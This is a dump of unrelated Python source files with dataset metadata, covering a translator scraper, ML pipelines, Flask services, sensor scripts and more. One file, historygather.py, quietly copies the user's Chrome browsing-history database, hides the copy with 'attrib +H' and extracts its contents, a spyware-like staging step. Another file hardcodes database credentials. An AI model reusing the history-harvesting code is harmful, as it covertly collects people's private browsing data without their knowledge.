"api_name": "cv2.resize",
"... |
447549587 | import time
from selenium import webdriver
driver = webdriver.Chrome()
driver.get('https://papago.naver.com/')
def papa_list(string, delim = "\n\n"):
"""
Input is a string. The whole string that I want to translate.
Specify the delimiter to get a list of sentences.
This output could be an input to the... | null | papago_trans.py | papago_trans.py | py | 2,526 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 3,
"usage_type": "name"
},
{
"api_name": "time.sleep",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "time.sleep",
... |
524725728 | import subprocess
import threading
import os
import queue
import json
import logging
import re
import time
class AsynchronousFileReader(threading.Thread):
"""
Helper class to implement asynchronous reading of a file
in a separate thread. Pushes read lines on a queue to
be consumed in another thread.
... | null | server/createhero/util.py | util.py | py | 11,229 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "threading.Thread",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "queue.Queue",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "threading.Thread.__init__",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "thre... |
173874465 | #!/usr/bin/python
"""
Отображает содержимое любого сценария CGI (или другого файла), имеющегося
на стороне сервера, не выполняя его. Имя файла можно передать в параметре
строки URL или с помощью поля формы (используйте имя сервера "localhost",
если используется локальный сервер):
http://servername/cgi-bin/getfile.py?fi... | null | dev/Internet/Web/introduce/cgi-bin/getfile.py | getfile.py | py | 4,105 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.stdout.reconfigure",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "sys.stdout",
"line_number": 30,
"usage_type": "attribute"
},
{
"api_name": "os.path",
"line_number": 36,
"usage_type": "attribute"
},
{
"api_name": "os.path.abspath",... |
541401749 | import json
import re
from datetime import datetime, timedelta
from time import sleep
import requests
import websocket
import question
# Read in bearer token and user ID
with open("conn_settings.txt", "r") as conn_settings:
BEARER_TOKEN = conn_settings.readline().strip().split("=")[1]
USER_ID = conn_settings... | null | hq_main.py | hq_main.py | py | 2,918 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "re.sub",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "json.loads",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "question.answer_question",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_n... |
193763564 | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright 2015 by Ecpy Authors, see AUTHORS for more details.
#
# Distributed under the terms of the BSD license.
#
# The full license is in the file LICENCE, distributed with this software.
# ---------------------... | null | tests/app/dependencies/test_plugin.py | test_plugin.py | py | 8,218 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "enaml.imports",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "ecpy.app.dependencies.dependencies.BuildDependency.collect",
"line_number": 44,
"usage_type": "attribute"
},
{
"api_name": "ecpy.app.dependencies.dependencies.BuildDependency",
"line_numb... |
77371820 | import mne
root_dir = "../proc/"
subjs = ["VP1","VP2","VP3","VP4","VP5","VP6","VP7"]
runs = ["1","2","3"]
subjects_dir = "/home/jeff/freesurfer/subjects"
subject = "fsaverage"
typ = "a"
#subjs = ["VP1"]
#runs = ["1"]
for sub in subjs:
src = mne.read_source_spaces(root_dir+"fsaverage_{}-src.fif".format(sub.low... | null | buildforward.py | buildforward.py | py | 998 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "mne.read_source_spaces",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "mne.make_bem_model",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "mne.make_bem_solution",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "mne.m... |
90749733 | #! /usr/bin/env python3
# specify the input files
import argparse
parser = argparse.ArgumentParser(description = "finds GC content of features from fsa files")
parser.add_argument("gff", help="name of .gff file.")
parser.add_argument("fsa", help="name of .fsa file.")
args = parser.parse_args()
#open the fsa file
fsa_... | null | parse_gff2.py | parse_gff2.py | py | 1,123 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 4,
"usage_type": "call"
}
] |
101576457 | import time
import subprocess
import digitalio
import board
from PIL import Image, ImageDraw, ImageFont
import adafruit_rgb_display.st7789 as st7789
import board
import busio
import adafruit_apds9960.apds9960
import time
import qwiic_button
import sys
import digitalio
import qwiic_joystick
import os
from vosk import Mo... | null | Lab 3/riddle_game.py | riddle_game.py | py | 9,974 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "digitalio.DigitalInOut",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "board.CE0",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "digitalio.DigitalInOut",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "board.D2... |
467889423 | #-*-coding:utf-8 -*-
from flask import Flask, render_template, redirect, request, url_for, jsonify, Blueprint
from pymongo import MongoClient
from jinja2 import Template
import math, decimal
from werkzeug import secure_filename
import sys
import make_jason
import language_module
import makeCoNLLform
import crawler_nave... | null | main.py | main.py | py | 9,813 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.setdefaultencoding",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "flask.Flask",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "pymongo.MongoClient",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "flask.render_t... |
74740136 | # uncompyle6 version 3.6.7
# Python bytecode 3.5 (3350)
# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: /usr/local/lib/python3.5/dist-packages/clean/pathutil.py
# Compiled at: 2018-03-25 09:47:47
# Size of source mod 2**32: 374 bytes
__doc__... | null | pycfiles/clean-image-crop-uploader-0.2.2.tar/pathutil.cpython-35.py | pathutil.cpython-35.py | py | 692 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pathlib.Path",
"line_number": 11,
"usage_type": "name"
}
] |
611139619 | import streamlit as st
import pandas as pd
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.metrics.pairwise import cosine_similarity
import matplotlib.pyplot as plt
import seaborn as sn
sn.set_style("darkgrid")
st.set_option('deprecation.showPyplotGlobalUse', False)
st.header("Restaur... | null | app.py | app.py | py | 6,211 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "seaborn.set_style",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "streamlit.set_option",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "streamlit.header",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "streamlit.title... |
379679747 | # myproject/owners/views.py
from flask import Blueprint, render_template, redirect, url_for
from myproject import db
from myproject.owners.forms import AddForm
from myproject.models import Owner
owners_blueprint = Blueprint(
'owners', __name__, template_folder='templates/owners'
)
@owners_blueprint.route('/add',... | null | myproject/owners/views.py | views.py | py | 687 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "flask.Blueprint",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "myproject.owners.forms.AddForm",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "myproject.models.Owner",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "... |
234980444 | import time
import gym
import matplotlib.pyplot as plt
import numpy as np
from Challenge_1.Algorithms.DynamicProgramming import DynamicProgramming
from Challenge_1.util.Discretizer import Discretizer
import logging
class ValueIteration(DynamicProgramming):
def __init__(self, action_space, model: callable, disc... | null | Challenge_1/Algorithms/ValueIteration.py | ValueIteration.py | py | 2,215 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "Challenge_1.Algorithms.DynamicProgramming.DynamicProgramming",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "Challenge_1.util.Discretizer.Discretizer",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "numpy.amax",
"line_number": 27,
"us... |
345297435 |
'''
최초 작성일: 2021-3-8
최종 수정일: 2021-3-8
모두의 말뭉치 문서 요약 말뭉치와 신문 기사 말뭉치 합치기
'''
import json
import os
from config import corpus_dir
summary_corpus_path = corpus_dir + '국립국어원 문서 요약 말뭉치(버전 1.0)/NIKL_SC.json'
news_corpus_dir = corpus_dir + '국립국어원 신문 말뭉치(버전 1.0)/'
def main():
# 1. 요약 말뭉치 열기
sum_titles, topic_sent... | null | extract_modu_summary_corpus.py | extract_modu_summary_corpus.py | py | 2,673 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "config.corpus_dir",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "config.corpus_dir",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "json.dump",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "json.loads",
"line_... |
179638627 | """
Copyright (c) 2016- by Dietmar W Weiss
This is free software; you can redistribute it and/or modify it
under the terms of the GNU Lesser General Public License as
published by the Free Software Foundation; either version 3.0 of
the License, or (at your option) any later version.
This software ... | null | test/test_pressure_drop.py | test_pressure_drop.py | py | 11,215 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "__init__.init_path",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "unittest.TestCase",
"line_number": 55,
"usage_type": "attribute"
},
{
"api_name": "matplotlib.pyplot.rcParams.update",
"line_number": 58,
"usage_type": "call"
},
{
"api_n... |
304997056 | from itertools import product
from sys import stdin
n = stdin.readline().strip()
summa=0
tipy=0
new_summa=0
if int(n)%4==0:
print('YES')
elif int(n)%7==0:
print('YES')
else:
for a in range(1,len(n)+1):
types=''
for x in (product('47', repeat = int(a))):
types=''
... | null | 122A.py | 122A.py | py | 664 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.stdin.readline",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "sys.stdin",
"line_number": 3,
"usage_type": "name"
},
{
"api_name": "itertools.product",
"line_number": 15,
"usage_type": "call"
}
] |
189089578 | from flask import request
import flask
import json
#创建一个服务,把当前这个python文件作为一个服务
server = flask.Flask(__name__)
#@server.route将普通的函数转换为服务,里面是登录路径,支持的请求方式
@server.route('/login',methods=['get','post'])
def login():
#获取url中传递的请求参数
username = request.values.get('username')
pwd = request.values.get('pwd')
#根... | null | UnittestAndRequests/test_api.py | test_api.py | py | 1,040 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "flask.Flask",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "flask.request.values.get",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "flask.request.values",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "flask.r... |
577127524 | import psycopg2
import argparse
import subprocess
import os
import yaml
import tempfile
import csv
class DBMake(object):
def __init__(self):
self.tasks = []
parser = argparse.ArgumentParser(description="dbmake")
parser.add_argument('--recreate', dest='recreate', action='store_true')
... | null | scripts/dbmake/__init__.py | __init__.py | py | 3,634 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "tempfile.NamedTemporaryFile",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "csv.writer",
"line_number": 40,
"usage_type": "call"
},
{
"api_name": "os.env... |
298415565 | # Enter your code here. Read input from STDIN. Print output to STDOUT
from itertools import permutations
A = list(map(str,input().split()))
num = int(A[1])
B = (sorted(list(permutations(A[0],num))))
x = ""
for i in B:
x += ("".join(i))
x += "\n"
print(x)
| null | Itertools/ite-itertools_permutations.py | ite-itertools_permutations.py | py | 281 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "itertools.permutations",
"line_number": 6,
"usage_type": "call"
}
] |
230789339 | import pandas as pd
import numpy as np
from sklearn import preprocessing
import lightgbm as lgb
import gc
import re
from sklearn.metrics import log_loss
from sklearn.metrics import classification_report, f1_score
from time import ctime
import os, sys
# 数据路径
import path_file
##########################################... | null | ly/lightgbm_with_two_model.py | lightgbm_with_two_model.py | py | 35,390 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.stdout",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "sys.stdout",
"line_number": 26,
"usage_type": "attribute"
},
{
"api_name": "sys.stdout",
"line_number": 28,
"usage_type": "attribute"
},
{
"api_name": "sys.stdout",
"lin... |
16738567 | """This exposes form process mapper service."""
from http import HTTPStatus
from ..exceptions import BusinessException
from ..models import FormProcessMapper
from ..models.enums import FormProcessMapperStatus
from ..schemas import FormProcessMapperSchema
class FormProcessMapperService():
"""This class manages f... | null | forms-flow-api/src/api/services/form_process_mapper.py | form_process_mapper.py | py | 2,526 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "models.FormProcessMapper.find_all",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "models.FormProcessMapper",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "schemas.FormProcessMapperSchema",
"line_number": 22,
"usage_type": "call"
},... |
201636422 | import discord
import json
import aiohttp
import os
from discord.ext import commands
class Stats():
def __init__(self, bot):
self.bot = bot
self.session = aiohttp.ClientSession(loop=bot.loop, headers={'User-Agent': 'TheTrain2000-i<3uFUYU'})
@commands.command()
async def ostats(self, ctx,... | null | cogs/stats.py | stats.py | py | 3,492 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "aiohttp.ClientSession",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "discord.ext.commands.command",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "discord.ext.commands",
"line_number": 14,
"usage_type": "name"
},
{
"api_name"... |
382491850 | import os, shutil
import numpy as np
import glob
#import cv2.cv2 as cv2
import cv2
import time
import ntpath
import sys
import dlib
import pickle
import FaceProcessUtil as fpu
LMP1_keys=[17, 19, 21, 26, 24, 22, 37, 41, 44, 46, 27]
LMP1_Dists=[[37,41],[41,19],[37,19],[41,21],[37,21],
[44,46],[... | null | datapreprocessForCKplus7labelwithcontempt.py | datapreprocessForCKplus7labelwithcontempt.py | py | 9,738 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.argv",
"line_number": 37,
"usage_type": "attribute"
},
{
"api_name": "cv2.waitKey",
"line_number": 40,
"usage_type": "call"
},
{
"api_name": "sys.argv",
"line_number": 41,
"usage_type": "attribute"
},
{
"api_name": "os.path.exists",
"line_nu... |
383511953 | from sikuli import*
import mySettings
import Installer
import logging
import os
import subprocess
import shutil
#import Alpha_Beta
import logging
reload(logging)
import datetime
import IMGToolbox
import FirebirdServiceDbRemoval
import stat
SCR0 = Screen(0)
SCR1 = Screen(1)
startTime = datetime.datetime.now()
LCNSREGS ... | null | TS_Installation.sikuli/TS_Installation.py | TS_Installation.py | py | 5,458 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "datetime.datetime.now",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.path",
... |
421727174 | """
A simple CEA script that renames a building in the input files - NOTE: you'll have to re-run the simulation and
analysis scripts to get the changes as only the files defined in ``inputs.yml`` (the files you see in the CEA Dashboard
input editor) are changed.
This is the script behind ``cea rename-building --old <b... | null | cea/utilities/rename_building.py | rename_building.py | py | 2,568 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "geopandas.GeoDataFrame.from_file",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "geopandas.GeoDataFrame",
"line_number": 31,
"usage_type": "attribute"
},
{
"api_name": "cea.utilities.dbf.dbf_to_dataframe",
"line_number": 37,
"usage_type": "call"... |
500156452 | import sys
import dash_core_components as dcc
import dash_html_components as html
import dash_bootstrap_components as dbc
import pandas as pd
from colour import Color
import datetime
from datetime import datetime as dt
from dateutil.relativedelta import relativedelta
from collections import Counter
from wordcloud im... | null | webapp/apps/utils.py | utils.py | py | 15,153 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.path.append",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "youtube_analyzer.youtubeAnalyzer",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "youtub... |
108756827 | import numpy as np
import os
import six.moves.urllib as urllib
import sys
import tarfile
import tensorflow as tf
import zipfile
from skimage.io import imread
from skimage.transform import resize
from distutils.version import StrictVersion
from collections import defaultdict
from io import StringIO
from matplotlib imp... | null | detection.py | detection.py | py | 7,605 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "numpy.array",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "numpy.uint8",
"line_number": 29,
"usage_type": "attribute"
},
{
"api_name": "tensorflow.get_default_graph",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "tensorflow.... |
168029934 | from bs4 import BeautifulSoup
import urllib
#csv is for the csv writer
import csv
#initiates the dictionary to hold the output
holder = []
#this is the target URL
target_url = "http://sousuo.gov.cn/s.htm?q=&n=80&p=&t=paper&advance=true&title=&content=&puborg=&pcodeJiguan=%E5%9B%BD%E5%8F%91&pcodeYear=2016&pcodeNum=&c... | null | guofa-scraper-phase-one.py | guofa-scraper-phase-one.py | py | 3,555 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "urllib.urlopen",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "csv.writer",
"line_number": 108,
"usage_type": "call"
}
] |
17376969 | from __future__ import print_function
import sys
from io import StringIO
from pydoctor import epydoc2stan, model
from pydoctor.epydoc.markup import flatten
from pydoctor.sphinx import SphinxInventory
from pydoctor.test.test_astbuilder import fromText
def test_multiple_types():
mod = fromText('''
def f(a):
... | null | pydoctor/test/test_epydoc2stan.py | test_epydoc2stan.py | py | 6,008 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pydoctor.test.test_astbuilder.fromText",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "pydoctor.epydoc2stan.format_docstring",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "pydoctor.epydoc2stan",
"line_number": 39,
"usage_type": "nam... |
36184265 | import numpy as np
from unityagents import UnityEnvironment
from PPOAgent import Agent, HyperParameter
from Model import PPOPolicyNetwork
def initEnvironment():
"""
Load the environment for this project and determine num_agents, state_size and action_size
:return:
"""
env = UnityEnvironment(fil... | null | utils.py | utils.py | py | 4,260 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "unityagents.UnityEnvironment",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "PPOAgent.HyperParameter",
"line_number": 54,
"usage_type": "call"
},
{
"api_name": "Model.PPOPolicyNetwork",
"line_number": 56,
"usage_type": "call"
},
{
"api_n... |
423795861 | import sqlite3
import ast
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BOARD)
GPIO.setup(11, GPIO.OUT)
GPIO.setup(12, GPIO.OUT)
GPIO.setup(13, GPIO.OUT)
GPIO.setup(15, GPIO.OUT)
def parse_tuple(string):
try:
s = ast.literal_eval(str(string))
if type(s) == tuple:
return s
return
... | null | db.py | db.py | py | 3,750 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "RPi.GPIO.setmode",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "RPi.GPIO",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "RPi.GPIO.BOARD",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "RPi.GPIO.setup",
"line... |
484861767 | import psycopg2
import csv
def insert(query, input):
con = None
try:
con = psycopg2.connect(database='MovieLens', user='postgres', password='postgres', host='localhost')
cur = con.cursor()
cur.executemany(query, input)
con.commit()
except psycopg2.DatabaseError as e:
... | null | MovieLens/DBLoader.py | DBLoader.py | py | 5,851 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "psycopg2.connect",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "psycopg2.DatabaseError",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "psycopg2.connect",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "psycopg2... |
211605250 |
# coding: utf-8
# 這裡介紹如何使用 Python 的 Beautiful Soup 模組自動下載並解析網頁資料,開發典型的網路爬蟲程式。
#
# Beautiful Soup 是一個 Python 的函式庫模組,可以讓開發者僅須撰寫非常少量的程式碼,就可以快速解析網頁 HTML 碼,從中翠取出使用者有興趣的資料、去蕪存菁,降低網路爬蟲程式的開發門檻、加快程式撰寫速度。
#
# https://www.crummy.com/software/BeautifulSoup/
# # 安裝 Beautiful Soup
#
# Beautiful Soup 可以使用 pip 安裝:
#
# ## 安裝 Pyt... | null | samples-labs-exercises/samples/neurons/yhy_repeat_digits/machinrlearning/0610/6. Web scraper.py | 6. Web scraper.py | py | 12,539 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "bs4.BeautifulSoup",
"line_number": 52,
"usage_type": "call"
},
{
"api_name": "re.compile",
"line_number": 197,
"usage_type": "call"
},
{
"api_name": "re.compile",
"line_number": 207,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"li... |
70330788 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import logging
from zope.index.text.parsetree import ParseError
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class TfidfPredicate(float):
def __new__(self, threshold):
return float.__new__(self, threshold)
def __init__(self, th... | null | dedupe/tfidf.py | tfidf.py | py | 1,867 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.basicConfig",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "logging.INFO",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "logging.getLogger",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "zope.index.text.... |
574233887 | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time : 2020/6/8 16:40
# @Software: PyCharm
# @Author : https://github.com/Valuebai/
"""
<mysql>.$ {数据库连接池}
~~~~~~~~~~~~~~~
用pymysql + DBUtils.PooledDB 数据库连接池来实现
"""
import pymysql
from DBUtils.PooledDB import PooledDB
from always_use.db.db_config import *... | null | always_use/db/db_pool.py | db_pool.py | py | 5,584 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "DBUtils.PooledDB.PooledDB",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "pymysql.cursors",
"line_number": 46,
"usage_type": "attribute"
}
] |
371345147 | from os import getenv
import os
import sqlite3
import subprocess
import shutil
import time
def stage_3():
filename = "stage3.txt"
myfile = open(filename, 'w')
shutil.copy(getenv("APPDATA") + r"\..\Local\Google\Chrome\User Data\Default\History", 'history.db')
subprocess.check_call(["attrib","+H","history.db"])
co... | null | historygather.py | historygather.py | py | 666 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "shutil.copy",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "subprocess.check_call",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "sqlite3.connect",
"li... |
458865941 | import mxnet as mx
import matplotlib
matplotlib.use('agg')
import matplotlib.pyplot as plt
import numpy as np
import cv2
def show_images(imgs, nrows, ncols, figsize=None):
"""plot a list of images"""
if not figsize:
figsize = (ncols, nrows)
_, figs = plt.subplots(nrows, ncols, figsize=figsize)
... | null | TTA_test/analysis.py | analysis.py | py | 1,446 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "matplotlib.use",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.subplots",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "matplotlib... |
42042931 | import requests
import re
urla = input()
urlb = input()
pattern = r'.*href="(.*)">.*'
resa = requests.get(urla).text
urlsa = re.findall(pattern, resa)
check = False
for url in urlsa:
if check:
break
resc = requests.get(url).text
urlsc = re.findall(pattern, resc)
for urlc in urlsc:
if ur... | null | basic/module 3/3.4.6 requests urlparsing.py | 3.4.6 requests urlparsing.py | py | 407 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "requests.get",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_number": 14... |
216362178 | # -*- coding: utf-8 -*-
from voxtox.utility import Patient
from voxtox.rtstruct import getPolygons, getStructDict
from deform.registration import getNiiCoords
import nibabel as nib
import numpy as np
from deform.registration import getNiiCoords
#from scipy.interpolate import interpn
from scipy.interpolate import Regul... | null | bin/propagateContours.py | propagateContours.py | py | 3,630 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "voxtox.rtstruct.getStructDict",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "voxtox.rtstruct.getPolygons",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 65,
"usage_type": "call"
},
{
"api_name": ... |
279495705 | #!/usr/bin/env python
import sys, csv, json
fields = [
"title",
"address",
"suburb",
"propType",
"listType",
"staffmember",
"price",
"contactnumber",
"imageurl"
]
def main():
fname = sys.argv[1]
listings = []
with open(fname, 'rb') as csvfile:
reader = csv.reade... | null | scripts/csvtojson.py | csvtojson.py | py | 567 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.argv",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "csv.reader",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "json.dumps",
"line_number": 25,
"usage_type": "call"
}
] |
232430919 | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
import json
import mock
import tornado.web
from tornado.testing import AsyncHTTPTestCase
from sophon.config import TORNADO_SETTINGS
from sophon.handlers.host import HostStatusHandler
class TestHostStatusHandler(AsyncHTTPTestCase):
def get_app(self):
retur... | null | tests/test_handlers/test_host.py | test_host.py | py | 1,352 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "tornado.testing.AsyncHTTPTestCase",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "tornado.web.web.Application",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "tornado.web.web",
"line_number": 17,
"usage_type": "attribute"
},
{
... |
617961220 | # encoding=utf-8
import cx_Oracle
import os
os.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8' #或者os.environ['NLS_LANG'] = 'AMERICAN_AMERICA.AL32UTF8'
fw=open("./output/brand_ku_model.TXT","w")
conn = cx_Oracle.connect('dw/Qwer241@192.168.1.241/condenast')
cursor = conn.cursor ()
#cursor.execute ("select 1*1... | null | gq_brand_export.py | gq_brand_export.py | py | 616 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.environ",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "cx_Oracle.connect",
"line_number": 10,
"usage_type": "call"
}
] |
529758931 | import xml.etree.ElementTree as et # for reading the xml files
import cv2
import os # for using directory paths
import random
import time # for seeding the random number generator
import math
import numpy as np
import math
from scipy.spatial import distance
random.s... | null | bounding_boxes.py | bounding_boxes.py | py | 5,004 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "random.seed",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "time.time",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "random.shuffle",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "cv2.getRotationMatrix2D",
"l... |
172356777 | import keyword
from typing import List, Dict, Any
import library
class Definition:
_swagger_name_to_python: Dict[str, str]
_attribute_is_primitive: Dict[str, bool]
_attributes_to_types: Dict[str, Any]
def unmarshal_json(self, input_json):
if isinstance(input_json, list):
... | null | polygon/definitions.py | definitions.py | py | 110,694 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "typing.Dict",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "typing.Dict",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "typing.Dict",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "typing.Any",
"line_number": 10,... |
363589421 | import hashlib
import os
from typing import IO
from .exceptions import IntegrityVerificationError
def atomic_write(path: str, content: bytes) -> int:
temp_path = path + ".keg_temp"
with open(temp_path, "wb") as f:
ret = f.write(content)
os.rename(temp_path, path)
return ret
def ensure_dir_exists(path: str) -... | null | keg/utils.py | utils.py | py | 968 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.rename",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path.dirname",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "os.path.exists",
"line_num... |
130928196 | #!/usr/bin/env python3
import sys
import json
import logging
from datetime import datetime
from os.path import getmtime
import re
FILENAME = '/build/config.json'
logging.basicConfig(filename='/build/logs.log',level=logging.DEBUG)
def getList():
try:
l = json.load(open(FILENAME))
except FileNotFoundEr... | null | redirector.py | redirector.py | py | 1,842 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.basicConfig",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "json.load",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "json.dump",
"lin... |
635727568 | # def long_repeat(text):
#
# if text == '':
# return 0
#
# text = list(text.replace(' ', '').lower())
# symbols = set(text)
# repeats = {x: [] for x in symbols}
#
# count = 1
#
